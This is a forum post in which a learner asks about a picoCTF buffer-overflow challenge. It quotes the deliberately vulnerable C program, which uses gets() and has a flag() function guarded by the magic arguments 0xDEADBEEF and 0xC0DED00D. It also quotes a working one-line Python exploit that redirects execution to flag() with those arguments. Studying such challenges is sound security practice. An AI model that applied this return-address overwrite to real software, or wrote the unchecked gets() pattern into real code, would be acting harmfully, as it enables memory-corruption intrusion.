This is the problem from recent picoCTF buffer-overflow challenge. here i have some doubts. I am learning bufferoverlow, so my questions may be trivial.
i am not able to understand the proper functionality of this program. This was the program given:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#define BUFSIZE 176
#define FLAGSIZE 64
void flag(unsigned int arg1, unsigned int arg2) {
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
exit(0);
}
fgets(buf,FLAGSIZE,f);
if (arg1 != 0xDEADBEEF)
return;
if (arg2 != 0xC0DED00D)
return;
printf(buf);
}
void vuln(){
char buf[BUFSIZE];
gets(buf);
puts(buf);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
gid_t gid = getegid();
setresgid(gid, gid, gid);
puts("Please enter your string: ");
vuln();
return 0;
}
the solution for this challenge is:
python -c "import struct;print 'A' * 188 + struct.pack('<I', 0x080485e6) + '\x00'*4 + struct.pack('<I', 0xDEADBEEF) + struct.pack('<I', 0xC0DED00D)" | ./overflow2
this 0x080485e6
is the address of flag() function, and 188 is the location where overflow happens.
Now my doubts are:
why there is need of second padding of 4 bytes in playload? And i tried to send 8,16,32 byte but it is only giving answer only on 4 byte, why is that?
what is the use of those two value('0xDEADBEEF' & '0XC0DED00D'), how these values are stopping program from reading 'flag.txt' file? And why do i need to put them at the last in the payload?
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